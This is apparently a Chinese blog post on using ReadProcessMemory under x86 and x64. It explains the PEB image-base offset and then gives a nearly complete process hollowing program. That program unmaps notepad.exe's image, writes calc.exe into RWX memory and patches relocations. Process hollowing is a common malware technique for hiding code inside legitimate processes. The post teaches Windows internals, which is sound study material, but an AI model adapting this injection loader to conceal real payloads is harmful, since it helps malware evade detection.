win32-ReadProcessMemory在x86和x64下运行

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#pragma comment(lib, "ntdll")

int main()
{
    // create destination process - this is the process to be hollowed out
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
    ULONG returnLenght = 0;
    CreateProcessA(NULL, (LPSTR)"c:\\windows\\system32\\calc.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;

    // get destination imageBase offset address from the PEB
    NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
    ULONG_PTR  pebImageBaseOffset = (ULONG_PTR)pbi->PebBaseAddress + 8; //如果是在x64,则改成16

    // get destination imageBaseAddress
    LPVOID destImageBase = 0;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, sizeof(ULONG_PTR), &bytesRead); 
std::cout
<< "pebImageBaseOffset is: " << destImageBase << std::endl; std::cin.get();
}

因为PebBaseAddress在x86下是指向PEB+8,在x64下是指向PEB+16

具体的结构体:

typedef struct _PEB {
    BYTE Reserved1[2]; //2个字节
    BYTE BeingDebugged; //1个字节
    BYTE Reserved2[1]; //1个字节
    PVOID Reserved3[2]; 
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID Reserved4[3];
    PVOID AtlThunkSListPtr;
    PVOID Reserved5;
    ULONG Reserved6;
    PVOID Reserved7;
    ULONG Reserved8;
    ULONG AtlThunkSListPtr32;
    PVOID Reserved9[45];
    BYTE Reserved10[96];
    PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
    BYTE Reserved11[128];
    PVOID Reserved12[1];
    ULONG SessionId;
} PEB, *PPEB;

如果在x86下,则是以4字节对齐,那么偏移8才能指向Reserved3[1]

在x64下,则是以8字节对齐,那么只有偏移16才能指向Reserved3[1]

可以看这个链接:https://blog.csdn.net/v2x222/article/details/71082150 (ImageBaseAddress : Ptr32 Void  and +0x010 ImageBaseAddress : Ptr64 Void)

第二个sample:

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;


int main()
{
    // create destination process - this is the process to be hollowed out
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
    ULONG returnLenght = 0;
    CreateProcessA(NULL, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;
    
    // get destination imageBase offset address from the PEB
    NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
    ULONG_PTR pebImageBaseOffset = (ULONG_PTR)pbi->PebBaseAddress + 16;
  
    // get destination imageBaseAddress
    LPVOID destImageBase = 0;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, sizeof(ULONG_PTR), &bytesRead);

    // read source file - this is the file that will be executed inside the hollowed process
    HANDLE sourceFile = CreateFileA("c:\\windows\\system32\\calc.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
    ULONG_PTR sourceFileSize = GetFileSize(sourceFile, NULL);
    SIZE_T fileBytesRead = 0;
    LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
    ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);

    // get source image size
    PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
    PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
    SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;

    // carve out the destination image
    NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
    myNtUnmapViewOfSection(destProcess, destImageBase);

    // allocate new memory in destination image for the source image
    LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    destImageBase = newDestImageBase;

    // get delta between sourceImageBaseAddress and destinationImageBaseAddress
    ULONG_PTR deltaImageBase = (ULONG_PTR)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase;

    // set sourceImageBase to destImageBase and copy the source Image headers to the destination image
    sourceImageNTHeaders->OptionalHeader.ImageBase = (ULONG_PTR)destImageBase;
    WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
    // get pointer to first source image section
    PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((ULONG_PTR)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(_IMAGE_NT_HEADERS64)); //IMAGE_NT_HEADERS32
    PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;

    // copy source image sections to destination
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        PVOID destinationSectionLocation = (PVOID)((ULONG_PTR)destImageBase + sourceImageSection->VirtualAddress);
        PVOID sourceSectionLocation = (PVOID)((ULONG_PTR)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
        WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
        sourceImageSection++;
    }

    // get address of the relocation table
    IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

    // patch the binary with relocations
    sourceImageSection = sourceImageSectionOld;
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        BYTE* relocSectionName = (BYTE*)".reloc";
        if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0)
        {
            sourceImageSection++;
            continue;
        }

        ULONG_PTR sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
        ULONG_PTR relocationOffset = 0;

        while (relocationOffset < relocationTable.Size) {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((ULONG_PTR)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
            relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
            ULONG_PTR relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((ULONG_PTR)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);

            for (ULONG_PTR y = 0; y < relocationEntryCount; y++)
            {
                relocationOffset += sizeof(BASE_RELOCATION_ENTRY);

                if (relocationEntries[y].Type == 0)
                {
                    continue;
                }

                ULONG_PTR patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
                ULONG_PTR patchedBuffer = 0;
                ReadProcessMemory(destProcess, (LPCVOID)((ULONG_PTR)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONG_PTR), &bytesRead);
                patchedBuffer += deltaImageBase;

                WriteProcessMemory(destProcess, (PVOID)((ULONG_PTR)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONG_PTR), &fileBytesRead);
            }
        }
    }
    

    return 0;
}

 

win32-ReadProcessMemory在x86和x64下运行

上一篇:基于Postman的API自动化测试


下一篇:.Core中使用Swagger并启用API文档的JWT授权